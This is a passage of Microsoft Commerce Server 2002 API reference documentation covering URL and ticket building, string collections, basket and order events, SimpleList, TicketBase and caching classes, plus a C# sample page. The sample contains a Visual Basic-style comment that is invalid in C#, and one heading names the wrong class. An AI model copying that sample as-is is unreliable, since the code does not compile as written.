urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
urlParameterName3
Name of the third property.
urlParameterValue3
Value of the third property.
urlParameterName4
Name of the fourth property.
urlParameterValue4
Value of the fourth property.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String[], String[]) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String(), _
  ByVal urlParameterValue As System.String() _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String() urlParameterName,
  System.String() urlParameterValue
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
An array of strings containing parameter names. The array must be the same size as the urlParameterValue parameter value.
urlParameterValue
An array of strings containing parameter values. The array must be the same size as the urlParameterName parameter value.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
An array of strings containing parameter names. The array must be the same size as the urlParameterValue parameter value.
urlParameterValue
An array of strings containing parameter values. The array must be the same size as the urlParameterName parameter value.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder Properties (BCL)

Public Instance Properties

Property | Description
CookieSupport | Gets and sets the cookie support level.


QueryStringBuilder.CookieSupport Property (BCL)

The CookieSupport property is a read/write Boolean that indicates whether cookies are supported. If supported, tickets are appended to the URL.

Definition

[Visual Basic .NET]
Public Property CookieSupport As System.Boolean
[C#]
public System.Boolean CookieSupport {get;set;}

Property Value

A Boolean indicating whether cookies are supported.

Remarks

The ticket will be appended to the URL if one exists, with the AuthTicket having preference.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Class (BCL)

Provides a read-only string collection.

Public Instance Constructor

Constructor | Description
ReadOnlyStringCollection Constructor(String[]) | Creates a new instance of the ReadOnlyStringCollection class from a given string array.
ReadOnlyStringCollection Constructor(ArrayList) | Creates a new instance of the ReadOnlyStringCollection class from a given ArrayList.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the strings in the collection to an array, starting at a particular array index.
GetEnumerator (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.
IndexOf(String) | Searches for the specified string and returns the zero-based index of the first occurrence within the entire ReadOnlyStringCollection class.

Public Instance Properties

Property | Description
Count (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(Int32) | Indexer that enables getting a string in the collection by index.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Protected Instance Properties

Property | Description
InnerList (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
ReadOnlyStringCollection Constructor(String[]) | Creates a new instance of the ReadOnlyStringCollection class from a given string array.
ReadOnlyStringCollection Constructor(ArrayList) | Creates a new instance of the ReadOnlyStringCollection class from a given ArrayList.


ReadOnlyStringCollection Constructor (ArrayList) (BCL)

Use this method to create a new instance of the ReadOnlyStringCollection class from a given string.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal stringList As System.Collections.ArrayList _
)
[C#]
public ReadOnlyStringCollection(
  System.Collections.ArrayList stringList
);

Parameters

[Visual Basic .NET]
stringList
An array of strings. May be null.
[C#]
stringList
An array of strings. May be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Constructor (String[]) (BCL)

Use this method to create a new instance of the ReadOnlyStringCollection class from a given string array.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal stringArray As System.String[] _
)
[C#]
public ReadOnlyStringCollection(
  System.String[] stringArray
);

Parameters

[Visual Basic .NET]
stringArray
An array of strings. May be null.
[C#]
stringArray
An array of strings. May be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the strings in the collection to an array, starting at a particular array index.
GetEnumerator (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.
IndexOf(String) | Searches for the specified string and returns the zero-based index of the first occurrence within the entire ReadOnlyStringCollection class.


ReadOnlyStringCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the strings in the collection to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
An array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
An array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection.IndexOf (String) Method (BCL)

Use this method to return the zero based index of the first occurrence within the entire ReadOnlyStringCollection class.

Definition

[Visual Basic .NET]
Public Function IndexOf( _
  ByVal str As System.String _
) As System.Int32
[C#]
public System.Int32 IndexOf(
  System.String str
);

Parameters

[Visual Basic .NET]
str
The string to search for.
[C#]
str
The string to search for.

Return Value

The zero-based index of the first occurrence within the ReadOnlyStringCollection class.

Remarks

Searches for the specified string and returns the zero-based index of the first occurrence within the entire ReadOnlyStringCollection. Returns -1 if the specified string is not found.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Properties (BCL)

Public Instance Properties

Property | Description
Count (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(Int32) | Indexer that enables getting a string in the collection by index.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Protected Instance Properties

Property | Description
InnerList (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.


ReadOnlyStringCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that gets a value indicating whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection.Item Property (BCL)

The Item property is a read-only indexer that enables getting a string in the collection by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As System.String
[C#]
public System.String Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
An index number.
[C#]
index
An index number.

Property Value

The string collection for the given index.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property SyncRoot As System.Object
[C#]
public System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


RemoveItemFromBasketEvent Class (BCL)

An event used whenever items are removed from the shopping basket.

Public Instance Constructor

Constructor | Description
RemoveItemFromBasketEvent Constructor | Creates a new instance of the RemoveItemFromBasketEvent class.

Public Instance Methods

Method | Description
Validate (Inherited from BasketEvent) | Validates the CatalogName and ProductID property for the basket event.

Public Instance Properties

Property | Description
CatalogName (Inherited from BasketEvent) | The name of the catalog to which the product belongs.
EventType | Returns the event type for the class.
ProductID (Inherited from BasketEvent) | The product identifier for the product associated with the basket.
ReadOnlyPrID (Inherited from BasketEvent) | This commerce property is calculated internally and is read only.
VariantID (Inherited from BasketEvent) | The variant ID for the product associated with the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


RemoveItemFromBasketEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
RemoveItemFromBasketEvent Constructor | Creates a new instance of the RemoveItemFromBasketEvent class.


RemoveItemFromBasketEvent Constructor (BCL)

Use this method to create a new instance of the RemoveItemFromBasketEvent class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public RemoveItemFromBasketEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


RemoveItemFromBasketEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate (Inherited from BasketEvent) | Validates the CatalogName and ProductID property for the basket event.


RemoveItemFromBasketEvent Properties (BCL)

Public Instance Properties

Property | Description
CatalogName (Inherited from BasketEvent) | The name of the catalog to which the product belongs.
EventType | Returns the event type for the class.
ProductID (Inherited from BasketEvent) | The product identifier for the product associated with the basket.
ReadOnlyPrID (Inherited from BasketEvent) | This commerce property is calculated internally and is read only.
VariantID (Inherited from BasketEvent) | The variant ID for the product associated with the basket.


RemoveItemFromBasketEvent.EventType Property (BCL)

The EventType property is a read-only string that returns the event type for the class.

Definition

[Visual Basic .NET]
Public ReadOnly Property EventType As System.String
[C#]
public System.String EventType {get;}

Property Value

A string containing the event type for the class.

Remarks

For removals from the basket, the string RIBSK is returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SimpleList Class (BCL)

Use this object to create an array of objects that supports enumeration.

This object supports the ICloneable and IPersistXML interfaces. Use the ICloneable interface to deep copy all name/value pairs into a new dictionary. Use the IPersistXML interface to convert the Dictionary entries into an XML string and back again.

Public Instance Methods

Method | Description
Add | Adds the specified item to the SimpleList object.
Delete | Deletes the specified item from the SimpleList object.
GetEnumerator | Retrieves an IEnumerator object for enumerating the contents of the SimpleList object.

Public Instance Properties

Property | Type | Description
Count | Integer | Stores the number of elements in the SimpleList object. This property is read-only.
Item | Object | Stores an element of the SimpleList object. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Core Objects

Dictionary Class


SimpleList Methods (BCL)

Public Instance Methods

Method | Description
Add | Adds the specified item to the SimpleList object.
Delete | Deletes the specified item from the SimpleList object.
GetEnumerator | Retrieves an IEnumerator object for enumerating the contents of the SimpleList object.


SimpleList.Add Method (BCL)

Use this method to add the specified item to the SimpleList object.

Definition

[Visual Basic .NET]
Public Sub Add(
  ByRef pVar As Object
)
[C#]
public void Add(
  ref object pVar
);

Parameters

[Visual Basic .NET]
pVar
A reference to the Object to add to the SimpleList object.
[C#]
pVar
A reference to the object to add to the SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' The following example adds the string "Hello World" to the oSimpleList
' object instance
' oSimpleList is a Commerce SimpleList object
oSimpleList.Add("Hello World")

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

SimpleList Class

SimpleList.Delete


SimpleList.Delete Method (BCL)

Use this method to delete the specified item from the SimpleList object.

Definition

[Visual Basic .NET]
Public Sub Delete(
  Index As Integer
)
[C#]
public void Delete(
  int Index
);

Parameters

[Visual Basic .NET]
Index
An Integer value that contains the index value of the item to delete.
[C#]
Index
An Integer value that contains the index value of the item to delete.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM error codes that may be present in any exception thrown.

Constant | Description
DISP_E_BADINDEX | The Index parameter references an out-of-range value. This means that Index contains a value either larger than the SimpleList object or less than zero.
[Visual Basic .NET]

Example

' The following example deletes the SimpleList item at index 1008
' oSimpleList is a Commerce SimpleList object
oSimpleList.Delete(1008)

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

SimpleList Class

SimpleList.Add

SimpleList.Count


SimpleList.GetEnumerator Method (BCL)

Use this method to retrieve an IEnumerator object for enumerating the contents of the SimpleList object.

Definition

[Visual Basic .NET]
Public Function GetEnumerator(
) as IEnumerator
[C#]
public IEnumerator GetEnumerator(
);

Return Values

Handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

SimpleList Class


SimpleList Properties (BCL)

Public Instance Properties

Property | Type | Description
Count | Integer | Stores the number of elements in the SimpleList object. This property is read-only.
Item | Object | Stores an element of the SimpleList object. This property is read/write.


SimpleList.Count Property (BCL)

The Count property is a read-only Integer that returns the number of elements in the SimpleList object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Count As Integer
[C#]
public int Count {get; }

Property Value

An Integer value containing the number of elements in the SimpleList object instance.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The caller should always check this property before calling a SimpleList method or property that requires an array index in-value as a parameter (such as the Delete method).

See Also

SimpleList Class


SimpleList.Item Property (BCL)

[Visual Basic .NET] The Item property is a read/write Object that contains an element of the SimpleList object. An initialized Object is stored at a specified array index. If an item is already stored at the specified index, then that item is overwritten by an assignment.

[C#] The Item indexer provides get or set access to an element of the SimpleList object. If an item is already stored at the specified index, that item is overwritten when setting a value.

Definition

[Visual Basic .NET]
Public Property Item(
  Index As Integer
) As Object
[C#]

Get method:

public object this[ int Index ] [get; set;]

Parameters

[Visual Basic .NET]
Index
An Integer value that contains the index of the item.
[C#]
Index
An Integer that contains the index of the item.

Return Values

[C#]

The get version of the indexer returns an object containing the value present at the location specified by the Index parameter.

Exceptions

This indexer may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM error codes that may be present in any exception thrown.

Constant | Description
DISP_E_BADINDEX | The Index parameter references an out-of-range value. This means that Index contains a value either larger than the SimpleList object or less than zero.
[Visual Basic .NET]

Example

' using Item property as a property...
oSimpleList.Item(5) = "Winnie The Pooh"
' using Item property as an indexer...
oSimpleList(5) = "Winnie The Pooh"

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

SimpleList Class


SubmitOrderEvent Class (BCL)

Event used whenever orders are submitted for processing.

Public Instance Constructor

Constructor | Description
SubmitOrderEvent Constructor | Creates a new instance of the SubmitOrderEvent class.

Public Instance Methods

Method | Description
Validate | Validates the order group ID and returns false if the property is null.

Public Instance Properties

Property | Description
EventType | Returns the event type for the class.
OrderGroupID | Order group ID for the order being submitted.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SubmitOrderEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
SubmitOrderEvent Constructor | Creates a new instance of the SubmitOrderEvent class.


SubmitOrderEvent Constructor (BCL)

Use this method to create a new instance of the SubmitOrderEvent class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public SubmitOrderEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SubmitOrderEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate | Validates the order group ID and returns false if the property is null.


SubmitOrderEvent.Validate Method (BCL)

Use this method to validate the Order Group ID for the event.

[Visual Basic .NET]
Overridable Public Function Validate( _
) As System.Boolean
[C#]
public virtual System.Boolean Validate(
);

Return Value

A Boolean indicating whether the order group ID is valid. If the order group ID is null, the return value is False.

Remarks

Overrides the default Validate function provided by the BaseCommerceEvent class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SubmitOrderEvent Properties (BCL)

Public Instance Properties

Property | Description
EventType | Returns the event type for the class.
OrderGroupID | Order group ID for the order being submitted.


SubmitOrderEvent.EventType Property (BCL)

The EventType property is a read-only String that returns the event type for the class.

Definition

[Visual Basic .NET]
Public ReadOnly Property EventType As System.String
[C#]
public System.String EventType {get;}

Property Value

A String containing the event type for the class.

Remarks

For submit order events, the string "SUBOR" is returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SubmitOrderEvent.OrderGroupID Property (BCL)

The OrderGroupID property is a read/write String that contains the order group ID for the event.

Definition

[Visual Basic .NET]
Public Property OrderGroupID As System.String
[C#]
public System.String OrderGroupID {get; set;}

Property Value

A String containing the order group ID for the event.

Remarks

This property must be set for a valid event.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase Class (BCL)

Provides the base functionality for ticket handling operations in the Commerce Server 2002 Application Runtime.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

Public Instance Properties

Property | Description
Item(String) | Retrieves and sets properties in the ticket by name.
UserID | Retrieves and sets the user ID for the ticket.
Value | Retrieves a ticket in string form.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this class.

Protected Instance Methods

Method | Description
CheckState | Verifies that the class has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


TicketBase.CheckState Method (BCL)

Use this method to verify that the class has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object was already disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Public Sub Dispose( _
)
[C#]
public void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the TicketBase.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketManager.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
A value of True if this was called from the Dispose method, false if called from the finalizer.
[C#]
disposing
A value of True if this was called from the Dispose method, false if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves and sets properties in the ticket by name.
UserID | Retrieves and sets the user ID for the ticket.
Value | Retrieves a ticket in String form.


TicketBase.Item Property (BCL)

The Item property is a read/write String that gets and sets properties in the ticket.

Definition

[Visual Basic .NET]
Overridable Public Property Item( _
  ByVal propertyName As System.String _
) As System.String
[C#]
public virtual System.String Item(
  System.String propertyName
) {get; set;}

Parameters

[Visual Basic .NET]
propertyName
The name of the property to set or retrieve.
[C#]
propertyName
The name of the property to set or retrieve.

Property Value

The value of the propertyName parameter.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase.UserID Property (BCL)

The UserID property is a read/write String that retrieves and sets the user ID for the ticket.

Definition

[Visual Basic .NET]
Overridable Public Property UserID As System.String
[C#]
public virtual System.String UserID {get; set;}

Property Value

The user ID for the ticket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase.Value Property (BCL)

The Value property is a read-only String that retrieves a ticket.

Definition

[Visual Basic .NET]
Public ReadOnly Property Value As System.String
[C#]
public System.String Value {get;}

Property Value

The ticket in String form.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Runtime Namespace

Examples

Example | Description
Code to Build a Login Page | Describes how to check for authenticated users, set tickets to identify users, and add and modify ticket properties.


Code to Build a Login Page

Use the following code to check for authenticated users, to set tickets to identify users, and to add and modify ticket properties. This code sample requires that the CommerceAuthenticationModule object is configured in the web.config file. For more information about the CommerceAuthenticationModule class, see Commerce Modules and CommerceAuthenticationModule Class.

<%@ Page language="c#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>

<script language="C#" runat="server">
   private void Page_Load(object sender, System.EventArgs e)
      {
         ProfileContext pc;
         SiteTerm st;
         SiteTermElementCollection stc;
         SiteTermElement ste, ste2;
         ArrayList stNames;
         SiteTermElement [] stElementArray;
         Profile profile;

      try
      {
         if (CommerceContext.Current != null)
         {
            pc = CommerceContext.Current.ProfileSystem;

            // Retrieve all the siteterms in the catalog.
            stNames = pc.SiteTermNames;

            if (stNames.Count > 0)
            {
               // Retrieve all the elements contained in a particular siteterm
               // encapsulated within a SiteTerm class.
               st = pc.GetSiteTerm((string)stNames[0]);

               // Retrieve ths siteterms in a collection and iterate
               // through them.
               stc = st.Elements;
               Response.Write("SiteTerm:  " + stNames[0] + " has " + stc.Count + " elements.<br>");
               foreach (SiteTermElement steTemp in stc)
               {
                  Response.Write("Name:  " + steTemp.Name + "        Value:  " + steTemp.Value + "<br>");
               }
               Response.Write("<br><br>");

               // Sort days of the week siteterm and display them.
               stElementArray = new SiteTermElement[stc.Count];
               stc.CopyTo(stElementArray, 0);
               Array.Sort(stElementArray);
               Response.Write("SiteTerm:  " + stNames[0] + " in sorted order.<br>");
               foreach (SiteTermElement steTemp in stElementArray)
               {
                  Response.Write("Name:  " + steTemp.Name + "        Value:  " + steTemp.Value + "<br>");
               }
               Response.Write("<br><br>");

               // Reference the siteterm within the collection by name.
               ste = stc["Guest User"];
               Response.Write("Reference a siteterm element from a collection by name.<br>");
               Response.Write("Name:  " + ste.Name + "        Value:  " + ste.Value + "<br>");
               Response.Write("<br><br>");

               // Compare siteterm elements.
               ste2 = stc["Registered User"];
               if (ste.Equals(ste2))
                  Response.Write("The two SiteTermElement objects are equal.<br>");
               else
                  Response.Write("The two SiteTermElement objects are not equal.<br>");
               Response.Write("<br><br>");

               // Validate a profile property through the siteterm class.
               profile = pc.GetProfile("logon_name", "username", "UserObject");
               if (profile != null)
               {
                  ' if there really is a profile in the profile store
                  if (st.Validate(profile.Properties[0]))
                     Response.Write("The profile property is validated.<br>");
                  else
                     Response.Write("The profile property is not valid.<br>");
               }
               else
                  Response.Write("The profile does not exist.<br>");
               Response.Write("<br><br>");
            }
         }

      }
      catch(Exception ex)
      {
         Response.Write(ex.Message);
      }
   }
</script>

<HTML>
   <HEAD>
      <title ID=L_Login_HTMLTitle>Login</title>
      <meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
      <meta name="CODE_LANGUAGE" Content="C#">
      <meta name="vs_defaultClientScript" content="JavaScript">
      <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
   </HEAD>
   <body MS_POSITIONING="GridLayout">

   </body>
</HTML>

See Also

CommerceContext Class (BCL)

Profile Class (BCL)

ProfileContext Class (BCL)

SiteTerm Class (BCL)

SiteTermElement Class (BCL)

SiteTermElementCollection Class (BCL)


Microsoft.CommerceServer.Runtime.Caching

The classes in the Microsoft.CommerceServer.Runtime.Caching namespace contains the caching functionality for the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Caching Namespace Object Model

Depicts the object model for the Microsoft.CommerceServer.Runtime.Caching namespace.

Classes

Class | Description
CommerceCache | Represents a cache in the CommerceCacheCollection class.
CommerceCacheCollection | Represents a collection of caches for the current site.
CommerceCacheException | Describes Commerce Server cache exceptions.
CommerceCacheModule | Creates the site cache collection.

See Also

Commerce Server .NET Application Framework Tutorial


CommerceCache Class (BCL)

Represents a cache in the CommerceCacheCollection.

Public Instance Constructor

Constructor | Description
CommerceCache Constructor(String, Int32, Int32, String, String, String, Object, Object, DebugContext) | Creates a new instance of the CommerceCache class.

Public Instance Methods

Method | Description
GetCache | Gets the cache object (Commerce.Dictionary or LRUCache object).
Refresh | Refreshes the cache.

Public Instance Properties

Property | Description
CacheObjectProgId | Gets or sets the ProgId of the component that is the cache container object. Generally, this is either Commerce.Dictionary or Commerce.LRUCache.
LoaderConfigDictionary | Gets or sets the LoaderConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.
LoaderProgId | Gets or sets the ProgId of the component that should be created and invoked to populate the cache object during refresh operations.
RefreshInterval | Gets or sets the refresh interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep before automatically refreshing the cache.
RetryInterval | Gets or sets the retry interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep after a previous failure before retrying the cache refresh operation.
ServerSpecificSiteUrl | String that contains the full URL of the application.
WriterConfigDictionary | Gets or sets the WriterConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.
WriterProgId | Gets or sets the ProgId of the component that should be created and invoked to write out data from the cache object during refresh cycles.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCache Constructor(String, Int32, Int32, String, String, String, Object, Object, DebugContext) | Creates a new instance of the CommerceCache class.


CommerceCache Constructor (String, Int32, Int32, String, String, String, Object, Object, DebugContext) (BCL)

Use this method to create a new instance of the CommerceCache class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal refreshInterval As System.Int32, _
  ByVal retryInterval As System.Int32, _
  ByVal loaderProgId As System.String, _
  ByVal writerProgId As System.String, _
  ByVal cacheObjectProgId As System.String, _
  ByVal loaderConfigDictionary As System.Object, _
  ByVal writerConfigDictionary As System.Object, _
  ByVal dbgContext As DebugContext _
)
[C#]
public CommerceCache(
  System.String name,
  System.Int32 refreshInterval,
  System.Int32 retryInterval,
  System.String loaderProgId,
  System.String writerProgId,
  System.String cacheObjectProgId,
  System.Object loaderConfigDictionary,
  System.Object writerConfigDictionary,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
The cache name. May not be null.
refreshInterval
The refresh interval in seconds. A value of zero means to never refresh.
retryInterval
The retry interval in seconds. A value of zero means to use the default (60 seconds).
loaderProgId
The ProgId of the component that should be created and invoked to populate this cache during refresh cycles. May not be null.
writerProgId
